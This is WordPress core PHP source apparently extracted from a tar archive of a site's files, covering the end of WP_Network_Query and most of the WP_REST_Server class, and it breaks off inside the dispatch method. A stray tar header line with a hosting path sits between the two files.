		$fields  = isset( $clauses['fields'] ) ? $clauses['fields'] : '';
		$join    = isset( $clauses['join'] ) ? $clauses['join'] : '';
		$where   = isset( $clauses['where'] ) ? $clauses['where'] : '';
		$orderby = isset( $clauses['orderby'] ) ? $clauses['orderby'] : '';
		$limits  = isset( $clauses['limits'] ) ? $clauses['limits'] : '';
		$groupby = isset( $clauses['groupby'] ) ? $clauses['groupby'] : '';

		if ( $where ) {
			$where = 'WHERE ' . $where;
		}

		if ( $groupby ) {
			$groupby = 'GROUP BY ' . $groupby;
		}

		if ( $orderby ) {
			$orderby = "ORDER BY $orderby";
		}

		$found_rows = '';
		if ( ! $this->query_vars['no_found_rows'] ) {
			$found_rows = 'SQL_CALC_FOUND_ROWS';
		}

		$this->sql_clauses['select']  = "SELECT $found_rows $fields";
		$this->sql_clauses['from']    = "FROM $wpdb->site $join";
		$this->sql_clauses['groupby'] = $groupby;
		$this->sql_clauses['orderby'] = $orderby;
		$this->sql_clauses['limits']  = $limits;

		// Beginning of the string is on a new line to prevent leading whitespace. See https://core.trac.wordpress.org/ticket/56841.
		$this->request =
			"{$this->sql_clauses['select']}
			 {$this->sql_clauses['from']}
			 {$where}
			 {$this->sql_clauses['groupby']}
			 {$this->sql_clauses['orderby']}
			 {$this->sql_clauses['limits']}";

		if ( $this->query_vars['count'] ) {
			return (int) $wpdb->get_var( $this->request );
		}

		$network_ids = $wpdb->get_col( $this->request );

		return array_map( 'intval', $network_ids );
	}

	/**
	 * Populates found_networks and max_num_pages properties for the current query
	 * if the limit clause was used.
	 *
	 * @since 4.6.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 */
	private function set_found_networks() {
		global $wpdb;

		if ( $this->query_vars['number'] && ! $this->query_vars['no_found_rows'] ) {
			/**
			 * Filters the query used to retrieve found network count.
			 *
			 * @since 4.6.0
			 *
			 * @param string           $found_networks_query SQL query. Default 'SELECT FOUND_ROWS()'.
			 * @param WP_Network_Query $network_query        The `WP_Network_Query` instance.
			 */
			$found_networks_query = apply_filters( 'found_networks_query', 'SELECT FOUND_ROWS()', $this );

			$this->found_networks = (int) $wpdb->get_var( $found_networks_query );
		}
	}

	/**
	 * Used internally to generate an SQL string for searching across multiple columns.
	 *
	 * @since 4.6.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param string   $search  Search string.
	 * @param string[] $columns Array of columns to search.
	 * @return string Search SQL.
	 */
	protected function get_search_sql( $search, $columns ) {
		global $wpdb;

		$like = '%' . $wpdb->esc_like( $search ) . '%';

		$searches = array();
		foreach ( $columns as $column ) {
			$searches[] = $wpdb->prepare( "$column LIKE %s", $like );
		}

		return '(' . implode( ' OR ', $searches ) . ')';
	}

	/**
	 * Parses and sanitizes 'orderby' keys passed to the network query.
	 *
	 * @since 4.6.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param string $orderby Alias for the field to order by.
	 * @return string|false Value to used in the ORDER clause. False otherwise.
	 */
	protected function parse_orderby( $orderby ) {
		global $wpdb;

		$allowed_keys = array(
			'id',
			'domain',
			'path',
		);

		$parsed = false;
		if ( 'network__in' === $orderby ) {
			$network__in = implode( ',', array_map( 'absint', $this->query_vars['network__in'] ) );
			$parsed      = "FIELD( {$wpdb->site}.id, $network__in )";
		} elseif ( 'domain_length' === $orderby || 'path_length' === $orderby ) {
			$field  = substr( $orderby, 0, -7 );
			$parsed = "CHAR_LENGTH($wpdb->site.$field)";
		} elseif ( in_array( $orderby, $allowed_keys, true ) ) {
			$parsed = "$wpdb->site.$orderby";
		}

		return $parsed;
	}

	/**
	 * Parses an 'order' query variable and cast it to 'ASC' or 'DESC' as necessary.
	 *
	 * @since 4.6.0
	 *
	 * @param string $order The 'order' query variable.
	 * @return string The sanitized 'order' query variable.
	 */
	protected function parse_order( $order ) {
		if ( ! is_string( $order ) || empty( $order ) ) {
			return 'ASC';
		}

		if ( 'ASC' === strtoupper( $order ) ) {
			return 'ASC';
		} else {
			return 'DESC';
		}
	}
}
14338/class-wp-rest-server.php.tar000064400000164000151024420100012522 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/class-wp-rest-server.php000064400000160527151024357050027636 0ustar00<?php
/**
 * REST API: WP_REST_Server class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.4.0
 */

/**
 * Core class used to implement the WordPress REST API server.
 *
 * @since 4.4.0
 */
#[AllowDynamicProperties]
class WP_REST_Server {

	/**
	 * Alias for GET transport method.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	const READABLE = 'GET';

	/**
	 * Alias for POST transport method.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	const CREATABLE = 'POST';

	/**
	 * Alias for POST, PUT, PATCH transport methods together.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	const EDITABLE = 'POST, PUT, PATCH';

	/**
	 * Alias for DELETE transport method.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	const DELETABLE = 'DELETE';

	/**
	 * Alias for GET, POST, PUT, PATCH & DELETE transport methods together.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	const ALLMETHODS = 'GET, POST, PUT, PATCH, DELETE';

	/**
	 * Namespaces registered to the server.
	 *
	 * @since 4.4.0
	 * @var array
	 */
	protected $namespaces = array();

	/**
	 * Endpoints registered to the server.
	 *
	 * @since 4.4.0
	 * @var array
	 */
	protected $endpoints = array();

	/**
	 * Options defined for the routes.
	 *
	 * @since 4.4.0
	 * @var array
	 */
	protected $route_options = array();

	/**
	 * Caches embedded requests.
	 *
	 * @since 5.4.0
	 * @var array
	 */
	protected $embed_cache = array();

	/**
	 * Stores request objects that are currently being handled.
	 *
	 * @since 6.5.0
	 * @var array
	 */
	protected $dispatching_requests = array();

	/**
	 * Instantiates the REST server.
	 *
	 * @since 4.4.0
	 */
	public function __construct() {
		$this->endpoints = array(
			// Meta endpoints.
			'/'         => array(
				'callback' => array( $this, 'get_index' ),
				'methods'  => 'GET',
				'args'     => array(
					'context' => array(
						'default' => 'view',
					),
				),
			),
			'/batch/v1' => array(
				'callback' => array( $this, 'serve_batch_request_v1' ),
				'methods'  => 'POST',
				'args'     => array(
					'validation' => array(
						'type'    => 'string',
						'enum'    => array( 'require-all-validate', 'normal' ),
						'default' => 'normal',
					),
					'requests'   => array(
						'required' => true,
						'type'     => 'array',
						'maxItems' => $this->get_max_batch_size(),
						'items'    => array(
							'type'       => 'object',
							'properties' => array(
								'method'  => array(
									'type'    => 'string',
									'enum'    => array( 'POST', 'PUT', 'PATCH', 'DELETE' ),
									'default' => 'POST',
								),
								'path'    => array(
									'type'     => 'string',
									'required' => true,
								),
								'body'    => array(
									'type'                 => 'object',
									'properties'           => array(),
									'additionalProperties' => true,
								),
								'headers' => array(
									'type'                 => 'object',
									'properties'           => array(),
									'additionalProperties' => array(
										'type'  => array( 'string', 'array' ),
										'items' => array(
											'type' => 'string',
										),
									),
								),
							),
						),
					),
				),
			),
		);
	}


	/**
	 * Checks the authentication headers if supplied.
	 *
	 * @since 4.4.0
	 *
	 * @return WP_Error|null|true WP_Error indicates unsuccessful login, null indicates successful
	 *                            or no authentication provided
	 */
	public function check_authentication() {
		/**
		 * Filters REST API authentication errors.
		 *
		 * This is used to pass a WP_Error from an authentication method back to
		 * the API.
		 *
		 * Authentication methods should check first if they're being used, as
		 * multiple authentication methods can be enabled on a site (cookies,
		 * HTTP basic auth, OAuth). If the authentication method hooked in is
		 * not actually being attempted, null should be returned to indicate
		 * another authentication method should check instead. Similarly,
		 * callbacks should ensure the value is `null` before checking for
		 * errors.
		 *
		 * A WP_Error instance can be returned if an error occurs, and this should
		 * match the format used by API methods internally (that is, the `status`
		 * data should be used). A callback can return `true` to indicate that
		 * the authentication method was used, and it succeeded.
		 *
		 * @since 4.4.0
		 *
		 * @param WP_Error|null|true $errors WP_Error if authentication error, null if authentication
		 *                                   method wasn't used, true if authentication succeeded.
		 */
		return apply_filters( 'rest_authentication_errors', null );
	}

	/**
	 * Converts an error to a response object.
	 *
	 * This iterates over all error codes and messages to change it into a flat
	 * array. This enables simpler client behavior, as it is represented as a
	 * list in JSON rather than an object/map.
	 *
	 * @since 4.4.0
	 * @since 5.7.0 Converted to a wrapper of {@see rest_convert_error_to_response()}.
	 *
	 * @param WP_Error $error WP_Error instance.
	 * @return WP_REST_Response List of associative arrays with code and message keys.
	 */
	protected function error_to_response( $error ) {
		return rest_convert_error_to_response( $error );
	}

	/**
	 * Retrieves an appropriate error representation in JSON.
	 *
	 * Note: This should only be used in WP_REST_Server::serve_request(), as it
	 * cannot handle WP_Error internally. All callbacks and other internal methods
	 * should instead return a WP_Error with the data set to an array that includes
	 * a 'status' key, with the value being the HTTP status to send.
	 *
	 * @since 4.4.0
	 *
	 * @param string $code    WP_Error-style code.
	 * @param string $message Human-readable message.
	 * @param int    $status  Optional. HTTP status code to send. Default null.
	 * @return string JSON representation of the error
	 */
	protected function json_error( $code, $message, $status = null ) {
		if ( $status ) {
			$this->set_status( $status );
		}

		$error = compact( 'code', 'message' );

		return wp_json_encode( $error );
	}

	/**
	 * Gets the encoding options passed to {@see wp_json_encode}.
	 *
	 * @since 6.1.0
	 *
	 * @param \WP_REST_Request $request The current request object.
	 *
	 * @return int The JSON encode options.
	 */
	protected function get_json_encode_options( WP_REST_Request $request ) {
		$options = 0;

		if ( $request->has_param( '_pretty' ) ) {
			$options |= JSON_PRETTY_PRINT;
		}

		/**
		 * Filters the JSON encoding options used to send the REST API response.
		 *
		 * @since 6.1.0
		 *
		 * @param int $options             JSON encoding options {@see json_encode()}.
		 * @param WP_REST_Request $request Current request object.
		 */
		return apply_filters( 'rest_json_encode_options', $options, $request );
	}

	/**
	 * Handles serving a REST API request.
	 *
	 * Matches the current server URI to a route and runs the first matching
	 * callback then outputs a JSON representation of the returned value.
	 *
	 * @since 4.4.0
	 *
	 * @see WP_REST_Server::dispatch()
	 *
	 * @global WP_User $current_user The currently authenticated user.
	 *
	 * @param string $path Optional. The request route. If not set, `$_SERVER['PATH_INFO']` will be used.
	 *                     Default null.
	 * @return null|false Null if not served and a HEAD request, false otherwise.
	 */
	public function serve_request( $path = null ) {
		/* @var WP_User|null $current_user */
		global $current_user;

		if ( $current_user instanceof WP_User && ! $current_user->exists() ) {
			/*
			 * If there is no current user authenticated via other means, clear
			 * the cached lack of user, so that an authenticate check can set it
			 * properly.
			 *
			 * This is done because for authentications such as Application
			 * Passwords, we don't want it to be accepted unless the current HTTP
			 * request is a REST API request, which can't always be identified early
			 * enough in evaluation.
			 */
			$current_user = null;
		}

		/**
		 * Filters whether JSONP is enabled for the REST API.
		 *
		 * @since 4.4.0
		 *
		 * @param bool $jsonp_enabled Whether JSONP is enabled. Default true.
		 */
		$jsonp_enabled = apply_filters( 'rest_jsonp_enabled', true );

		$jsonp_callback = false;
		if ( isset( $_GET['_jsonp'] ) ) {
			$jsonp_callback = $_GET['_jsonp'];
		}

		$content_type = ( $jsonp_callback && $jsonp_enabled ) ? 'application/javascript' : 'application/json';
		$this->send_header( 'Content-Type', $content_type . '; charset=' . get_option( 'blog_charset' ) );
		$this->send_header( 'X-Robots-Tag', 'noindex' );

		$api_root = get_rest_url();
		if ( ! empty( $api_root ) ) {
			$this->send_header( 'Link', '<' . sanitize_url( $api_root ) . '>; rel="https://api.w.org/"' );
		}

		/*
		 * Mitigate possible JSONP Flash attacks.
		 *
		 * https://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/
		 */
		$this->send_header( 'X-Content-Type-Options', 'nosniff' );

		/**
		 * Filters whether the REST API is enabled.
		 *
		 * @since 4.4.0
		 * @deprecated 4.7.0 Use the {@see 'rest_authentication_errors'} filter to
		 *                   restrict access to the REST API.
		 *
		 * @param bool $rest_enabled Whether the REST API is enabled. Default true.
		 */
		apply_filters_deprecated(
			'rest_enabled',
			array( true ),
			'4.7.0',
			'rest_authentication_errors',
			sprintf(
				/* translators: %s: rest_authentication_errors */
				__( 'The REST API can no longer be completely disabled, the %s filter can be used to restrict access to the API, instead.' ),
				'rest_authentication_errors'
			)
		);

		if ( $jsonp_callback ) {
			if ( ! $jsonp_enabled ) {
				echo $this->json_error( 'rest_callback_disabled', __( 'JSONP support is disabled on this site.' ), 400 );
				return false;
			}

			if ( ! wp_check_jsonp_callback( $jsonp_callback ) ) {
				echo $this->json_error( 'rest_callback_invalid', __( 'Invalid JSONP callback function.' ), 400 );
				return false;
			}
		}

		if ( empty( $path ) ) {
			if ( isset( $_SERVER['PATH_INFO'] ) ) {
				$path = $_SERVER['PATH_INFO'];
			} else {
				$path = '/';
			}
		}

		$request = new WP_REST_Request( $_SERVER['REQUEST_METHOD'], $path );

		$request->set_query_params( wp_unslash( $_GET ) );
		$request->set_body_params( wp_unslash( $_POST ) );
		$request->set_file_params( $_FILES );
		$request->set_headers( $this->get_headers( wp_unslash( $_SERVER ) ) );
		$request->set_body( self::get_raw_data() );

		/*
		 * HTTP method override for clients that can't use PUT/PATCH/DELETE. First, we check
		 * $_GET['_method']. If that is not set, we check for the HTTP_X_HTTP_METHOD_OVERRIDE
		 * header.
		 */
		$method_overridden = false;
		if ( isset( $_GET['_method'] ) ) {
			$request->set_method( $_GET['_method'] );
		} elseif ( isset( $_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'] ) ) {
			$request->set_method( $_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'] );
			$method_overridden = true;
		}

		$expose_headers = array( 'X-WP-Total', 'X-WP-TotalPages', 'Link' );

		/**
		 * Filters the list of response headers that are exposed to REST API CORS requests.
		 *
		 * @since 5.5.0
		 * @since 6.3.0 The `$request` parameter was added.
		 *
		 * @param string[]        $expose_headers The list of response headers to expose.
		 * @param WP_REST_Request $request        The request in context.
		 */
		$expose_headers = apply_filters( 'rest_exposed_cors_headers', $expose_headers, $request );

		$this->send_header( 'Access-Control-Expose-Headers', implode( ', ', $expose_headers ) );

		$allow_headers = array(
			'Authorization',
			'X-WP-Nonce',
			'Content-Disposition',
			'Content-MD5',
			'Content-Type',
		);

		/**
		 * Filters the list of request headers that are allowed for REST API CORS requests.
		 *
		 * The allowed headers are passed to the browser to specify which
		 * headers can be passed to the REST API. By default, we allow the
		 * Content-* headers needed to upload files to the media endpoints.
		 * As well as the Authorization and Nonce headers for allowing authentication.
		 *
		 * @since 5.5.0
		 * @since 6.3.0 The `$request` parameter was added.
		 *
		 * @param string[]        $allow_headers The list of request headers to allow.
		 * @param WP_REST_Request $request       The request in context.
		 */
		$allow_headers = apply_filters( 'rest_allowed_cors_headers', $allow_headers, $request );

		$this->send_header( 'Access-Control-Allow-Headers', implode( ', ', $allow_headers ) );

		$result = $this->check_authentication();

		if ( ! is_wp_error( $result ) ) {
			$result = $this->dispatch( $request );
		}

		// Normalize to either WP_Error or WP_REST_Response...
		$result = rest_ensure_response( $result );

		// ...then convert WP_Error across.
		if ( is_wp_error( $result ) ) {
			$result = $this->error_to_response( $result );
		}

		/**
		 * Filters the REST API response.
		 *
		 * Allows modification of the response before returning.
		 *
		 * @since 4.4.0
		 * @since 4.5.0 Applied to embedded responses.
		 *
		 * @param WP_HTTP_Response $result  Result to send to the client. Usually a `WP_REST_Response`.
		 * @param WP_REST_Server   $server  Server instance.
		 * @param WP_REST_Request  $request Request used to generate the response.
		 */
		$result = apply_filters( 'rest_post_dispatch', rest_ensure_response( $result ), $this, $request );

		// Wrap the response in an envelope if asked for.
		if ( isset( $_GET['_envelope'] ) ) {
			$embed  = isset( $_GET['_embed'] ) ? rest_parse_embed_param( $_GET['_embed'] ) : false;
			$result = $this->envelope_response( $result, $embed );
		}

		// Send extra data from response objects.
		$headers = $result->get_headers();
		$this->send_headers( $headers );

		$code = $result->get_status();
		$this->set_status( $code );

		/**
		 * Filters whether to send no-cache headers on a REST API request.
		 *
		 * @since 4.4.0
		 * @since 6.3.2 Moved the block to catch the filter added on rest_cookie_check_errors() from wp-includes/rest-api.php.
		 *
		 * @param bool $rest_send_nocache_headers Whether to send no-cache headers.
		 */
		$send_no_cache_headers = apply_filters( 'rest_send_nocache_headers', is_user_logged_in() );

		/*
		 * Send no-cache headers if $send_no_cache_headers is true,
		 * OR if the HTTP_X_HTTP_METHOD_OVERRIDE is used but resulted a 4xx response code.
		 */
		if ( $send_no_cache_headers || ( true === $method_overridden && str_starts_with( $code, '4' ) ) ) {
			foreach ( wp_get_nocache_headers() as $header => $header_value ) {
				if ( empty( $header_value ) ) {
					$this->remove_header( $header );
				} else {
					$this->send_header( $header, $header_value );
				}
			}
		}

		/**
		 * Filters whether the REST API request has already been served.
		 *
		 * Allow sending the request manually - by returning true, the API result
		 * will not be sent to the client.
		 *
		 * @since 4.4.0
		 *
		 * @param bool             $served  Whether the request has already been served.
		 *                                           Default false.
		 * @param WP_HTTP_Response $result  Result to send to the client. Usually a `WP_REST_Response`.
		 * @param WP_REST_Request  $request Request used to generate the response.
		 * @param WP_REST_Server   $server  Server instance.
		 */
		$served = apply_filters( 'rest_pre_serve_request', false, $result, $request, $this );

		if ( ! $served ) {
			if ( 'HEAD' === $request->get_method() ) {
				return null;
			}

			// Embed links inside the request.
			$embed  = isset( $_GET['_embed'] ) ? rest_parse_embed_param( $_GET['_embed'] ) : false;
			$result = $this->response_to_data( $result, $embed );

			/**
			 * Filters the REST API response.
			 *
			 * Allows modification of the response data after inserting
			 * embedded data (if any) and before echoing the response data.
			 *
			 * @since 4.8.1
			 *
			 * @param array            $result  Response data to send to the client.
			 * @param WP_REST_Server   $server  Server instance.
			 * @param WP_REST_Request  $request Request used to generate the response.
			 */
			$result = apply_filters( 'rest_pre_echo_response', $result, $this, $request );

			// The 204 response shouldn't have a body.
			if ( 204 === $code || null === $result ) {
				return null;
			}

			$result = wp_json_encode( $result, $this->get_json_encode_options( $request ) );

			$json_error_message = $this->get_json_last_error();

			if ( $json_error_message ) {
				$this->set_status( 500 );
				$json_error_obj = new WP_Error(
					'rest_encode_error',
					$json_error_message,
					array( 'status' => 500 )
				);

				$result = $this->error_to_response( $json_error_obj );
				$result = wp_json_encode( $result->data, $this->get_json_encode_options( $request ) );
			}

			if ( $jsonp_callback ) {
				// Prepend '/**/' to mitigate possible JSONP Flash attacks.
				// https://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/
				echo '/**/' . $jsonp_callback . '(' . $result . ')';
			} else {
				echo $result;
			}
		}

		return null;
	}

	/**
	 * Converts a response to data to send.
	 *
	 * @since 4.4.0
	 * @since 5.4.0 The `$embed` parameter can now contain a list of link relations to include.
	 *
	 * @param WP_REST_Response $response Response object.
	 * @param bool|string[]    $embed    Whether to embed all links, a filtered list of link relations, or no links.
	 * @return array {
	 *     Data with sub-requests embedded.
	 *
	 *     @type array $_links    Links.
	 *     @type array $_embedded Embedded objects.
	 * }
	 */
	public function response_to_data( $response, $embed ) {
		$data  = $response->get_data();
		$links = self::get_compact_response_links( $response );

		if ( ! empty( $links ) ) {
			// Convert links to part of the data.
			$data['_links'] = $links;
		}

		if ( $embed ) {
			$this->embed_cache = array();
			// Determine if this is a numeric array.
			if ( wp_is_numeric_array( $data ) ) {
				foreach ( $data as $key => $item ) {
					$data[ $key ] = $this->embed_links( $item, $embed );
				}
			} else {
				$data = $this->embed_links( $data, $embed );
			}
			$this->embed_cache = array();
		}

		return $data;
	}

	/**
	 * Retrieves links from a response.
	 *
	 * Extracts the links from a response into a structured hash, suitable for
	 * direct output.
	 *
	 * @since 4.4.0
	 *
	 * @param WP_REST_Response $response Response to extract links from.
	 * @return array Map of link relation to list of link hashes.
	 */
	public static function get_response_links( $response ) {
		$links = $response->get_links();

		if ( empty( $links ) ) {
			return array();
		}

		// Convert links to part of the data.
		$data = array();
		foreach ( $links as $rel => $items ) {
			$data[ $rel ] = array();

			foreach ( $items as $item ) {
				$attributes         = $item['attributes'];
				$attributes['href'] = $item['href'];

				if ( 'self' !== $rel ) {
					$data[ $rel ][] = $attributes;
					continue;
				}

				$target_hints = self::get_target_hints_for_link( $attributes );
				if ( $target_hints ) {
					$attributes['targetHints'] = $target_hints;
				}

				$data[ $rel ][] = $attributes;
			}
		}

		return $data;
	}

	/**
	 * Gets the target links for a REST API Link.
	 *
	 * @since 6.7.0
	 *
	 * @param array $link
	 *
	 * @return array|null
	 */
	protected static function get_target_hints_for_link( $link ) {
		// Prefer targetHints that were specifically designated by the developer.
		if ( isset( $link['targetHints']['allow'] ) ) {
			return null;
		}

		$request = WP_REST_Request::from_url( $link['href'] );
		if ( ! $request ) {
			return null;
		}

		$server = rest_get_server();
		$match  = $server->match_request_to_handler( $request );

		if ( is_wp_error( $match ) ) {
			return null;
		}

		if ( is_wp_error( $request->has_valid_params() ) ) {
			return null;
		}

		if ( is_wp_error( $request->sanitize_params() ) ) {
			return null;
		}

		$target_hints = array();

		$response = new WP_REST_Response();
		$response->set_matched_route( $match[0] );
		$response->set_matched_handler( $match[1] );
		$headers = rest_send_allow_header( $response, $server, $request )->get_headers();

		foreach ( $headers as $name => $value ) {
			$name = WP_REST_Request::canonicalize_header_name( $name );

			$target_hints[ $name ] = array_map( 'trim', explode( ',', $value ) );
		}

		return $target_hints;
	}

	/**
	 * Retrieves the CURIEs (compact URIs) used for relations.
	 *
	 * Extracts the links from a response into a structured hash, suitable for
	 * direct output.
	 *
	 * @since 4.5.0
	 *
	 * @param WP_REST_Response $response Response to extract links from.
	 * @return array Map of link relation to list of link hashes.
	 */
	public static function get_compact_response_links( $response ) {
		$links = self::get_response_links( $response );

		if ( empty( $links ) ) {
			return array();
		}

		$curies      = $response->get_curies();
		$used_curies = array();

		foreach ( $links as $rel => $items ) {

			// Convert $rel URIs to their compact versions if they exist.
			foreach ( $curies as $curie ) {
				$href_prefix = substr( $curie['href'], 0, strpos( $curie['href'], '{rel}' ) );
				if ( ! str_starts_with( $rel, $href_prefix ) ) {
					continue;
				}

				// Relation now changes from '$uri' to '$curie:$relation'.
				$rel_regex = str_replace( '\{rel\}', '(.+)', preg_quote( $curie['href'], '!' ) );
				preg_match( '!' . $rel_regex . '!', $rel, $matches );
				if ( $matches ) {
					$new_rel                       = $curie['name'] . ':' . $matches[1];
					$used_curies[ $curie['name'] ] = $curie;
					$links[ $new_rel ]             = $items;
					unset( $links[ $rel ] );
					break;
				}
			}
		}

		// Push the curies onto the start of the links array.
		if ( $used_curies ) {
			$links['curies'] = array_values( $used_curies );
		}

		return $links;
	}

	/**
	 * Embeds the links from the data into the request.
	 *
	 * @since 4.4.0
	 * @since 5.4.0 The `$embed` parameter can now contain a list of link relations to include.
	 *
	 * @param array         $data  Data from the request.
	 * @param bool|string[] $embed Whether to embed all links or a filtered list of link relations.
	 * @return array {
	 *     Data with sub-requests embedded.
	 *
	 *     @type array $_links    Links.
	 *     @type array $_embedded Embedded objects.
	 * }
	 */
	protected function embed_links( $data, $embed = true ) {
		if ( empty( $data['_links'] ) ) {
			return $data;
		}

		$embedded = array();

		foreach ( $data['_links'] as $rel => $links ) {
			/*
			 * If a list of relations was specified, and the link relation
			 * is not in the list of allowed relations, don't process the link.
			 */
			if ( is_array( $embed ) && ! in_array( $rel, $embed, true ) ) {
				continue;
			}

			$embeds = array();

			foreach ( $links as $item ) {
				// Determine if the link is embeddable.
				if ( empty( $item['embeddable'] ) ) {
					// Ensure we keep the same order.
					$embeds[] = array();
					continue;
				}

				if ( ! array_key_exists( $item['href'], $this->embed_cache ) ) {
					// Run through our internal routing and serve.
					$request = WP_REST_Request::from_url( $item['href'] );
					if ( ! $request ) {
						$embeds[] = array();
						continue;
					}

					// Embedded resources get passed context=embed.
					if ( empty( $request['context'] ) ) {
						$request['context'] = 'embed';
					}

					if ( empty( $request['per_page'] ) ) {
						$matched = $this->match_request_to_handler( $request );
						if ( ! is_wp_error( $matched ) && isset( $matched[1]['args']['per_page']['maximum'] ) ) {
							$request['per_page'] = (int) $matched[1]['args']['per_page']['maximum'];
						}
					}

					$response = $this->dispatch( $request );

					/** This filter is documented in wp-includes/rest-api/class-wp-rest-server.php */
					$response = apply_filters( 'rest_post_dispatch', rest_ensure_response( $response ), $this, $request );

					$this->embed_cache[ $item['href'] ] = $this->response_to_data( $response, false );
				}

				$embeds[] = $this->embed_cache[ $item['href'] ];
			}

			// Determine if any real links were found.
			$has_links = count( array_filter( $embeds ) );

			if ( $has_links ) {
				$embedded[ $rel ] = $embeds;
			}
		}

		if ( ! empty( $embedded ) ) {
			$data['_embedded'] = $embedded;
		}

		return $data;
	}

	/**
	 * Wraps the response in an envelope.
	 *
	 * The enveloping technique is used to work around browser/client
	 * compatibility issues. Essentially, it converts the full HTTP response to
	 * data instead.
	 *
	 * @since 4.4.0
	 * @since 6.0.0 The `$embed` parameter can now contain a list of link relations to include.
	 *
	 * @param WP_REST_Response $response Response object.
	 * @param bool|string[]    $embed    Whether to embed all links, a filtered list of link relations, or no links.
	 * @return WP_REST_Response New response with wrapped data
	 */
	public function envelope_response( $response, $embed ) {
		$envelope = array(
			'body'    => $this->response_to_data( $response, $embed ),
			'status'  => $response->get_status(),
			'headers' => $response->get_headers(),
		);

		/**
		 * Filters the enveloped form of a REST API response.
		 *
		 * @since 4.4.0
		 *
		 * @param array            $envelope {
		 *     Envelope data.
		 *
		 *     @type array $body    Response data.
		 *     @type int   $status  The 3-digit HTTP status code.
		 *     @type array $headers Map of header name to header value.
		 * }
		 * @param WP_REST_Response $response Original response data.
		 */
		$envelope = apply_filters( 'rest_envelope_response', $envelope, $response );

		// Ensure it's still a response and return.
		return rest_ensure_response( $envelope );
	}

	/**
	 * Registers a route to the server.
	 *
	 * @since 4.4.0
	 *
	 * @param string $route_namespace Namespace.
	 * @param string $route           The REST route.
	 * @param array  $route_args      Route arguments.
	 * @param bool   $override        Optional. Whether the route should be overridden if it already exists.
	 *                                Default false.
	 */
	public function register_route( $route_namespace, $route, $route_args, $override = false ) {
		if ( ! isset( $this->namespaces[ $route_namespace ] ) ) {
			$this->namespaces[ $route_namespace ] = array();

			$this->register_route(
				$route_namespace,
				'/' . $route_namespace,
				array(
					array(
						'methods'  => self::READABLE,
						'callback' => array( $this, 'get_namespace_index' ),
						'args'     => array(
							'namespace' => array(
								'default' => $route_namespace,
							),
							'context'   => array(
								'default' => 'view',
							),
						),
					),
				)
			);
		}

		// Associative to avoid double-registration.
		$this->namespaces[ $route_namespace ][ $route ] = true;

		$route_args['namespace'] = $route_namespace;

		if ( $override || empty( $this->endpoints[ $route ] ) ) {
			$this->endpoints[ $route ] = $route_args;
		} else {
			$this->endpoints[ $route ] = array_merge( $this->endpoints[ $route ], $route_args );
		}
	}

	/**
	 * Retrieves the route map.
	 *
	 * The route map is an associative array with path regexes as the keys. The
	 * value is an indexed array with the callback function/method as the first
	 * item, and a bitmask of HTTP methods as the second item (see the class
	 * constants).
	 *
	 * Each route can be mapped to more than one callback by using an array of
	 * the indexed arrays. This allows mapping e.g. GET requests to one callback
	 * and POST requests to another.
	 *
	 * Note that the path regexes (array keys) must have @ escaped, as this is
	 * used as the delimiter with preg_match()
	 *
	 * @since 4.4.0
	 * @since 5.4.0 Added `$route_namespace` parameter.
	 *
	 * @param string $route_namespace Optionally, only return routes in the given namespace.
	 * @return array `'/path/regex' => array( $callback, $bitmask )` or
	 *               `'/path/regex' => array( array( $callback, $bitmask ), ...)`.
	 */
	public function get_routes( $route_namespace = '' ) {
		$endpoints = $this->endpoints;

		if ( $route_namespace ) {
			$endpoints = wp_list_filter( $endpoints, array( 'namespace' => $route_namespace ) );
		}

		/**
		 * Filters the array of available REST API endpoints.
		 *
		 * @since 4.4.0
		 *
		 * @param array $endpoints The available endpoints. An array of matching regex patterns, each mapped
		 *                         to an array of callbacks for the endpoint. These take the format
		 *                         `'/path/regex' => array( $callback, $bitmask )` or
		 *                         `'/path/regex' => array( array( $callback, $bitmask ).
		 */
		$endpoints = apply_filters( 'rest_endpoints', $endpoints );

		// Normalize the endpoints.
		$defaults = array(
			'methods'       => '',
			'accept_json'   => false,
			'accept_raw'    => false,
			'show_in_index' => true,
			'args'          => array(),
		);

		foreach ( $endpoints as $route => &$handlers ) {

			if ( isset( $handlers['callback'] ) ) {
				// Single endpoint, add one deeper.
				$handlers = array( $handlers );
			}

			if ( ! isset( $this->route_options[ $route ] ) ) {
				$this->route_options[ $route ] = array();
			}

			foreach ( $handlers as $key => &$handler ) {

				if ( ! is_numeric( $key ) ) {
					// Route option, move it to the options.
					$this->route_options[ $route ][ $key ] = $handler;
					unset( $handlers[ $key ] );
					continue;
				}

				$handler = wp_parse_args( $handler, $defaults );

				// Allow comma-separated HTTP methods.
				if ( is_string( $handler['methods'] ) ) {
					$methods = explode( ',', $handler['methods'] );
				} elseif ( is_array( $handler['methods'] ) ) {
					$methods = $handler['methods'];
				} else {
					$methods = array();
				}

				$handler['methods'] = array();

				foreach ( $methods as $method ) {
					$method                        = strtoupper( trim( $method ) );
					$handler['methods'][ $method ] = true;
				}
			}
		}

		return $endpoints;
	}

	/**
	 * Retrieves namespaces registered on the server.
	 *
	 * @since 4.4.0
	 *
	 * @return string[] List of registered namespaces.
	 */
	public function get_namespaces() {
		return array_keys( $this->namespaces );
	}

	/**
	 * Retrieves specified options for a route.
	 *
	 * @since 4.4.0
	 *
	 * @param string $route Route pattern to fetch options for.
	 * @return array|null Data as an associative array if found, or null if not found.
	 */
	public function get_route_options( $route ) {
		if ( ! isset( $this->route_options[ $route ] ) ) {
			return null;
		}

		return $this->route_options[ $route ];
	}

	/**
	 * Matches the request to a callback and call it.
	 *
	 * @since 4.4.0
	 *
	 * @param WP_REST_Request $request Request to attempt dispatching.
	 * @return WP_REST_Response Response returned by the callback.
	 */
	public function dispatch( $request ) {
		$this->dispatching_requests[] = $request;

		/**
		 * Filters the pre-calculated result of a REST API dispatch request.
		 *
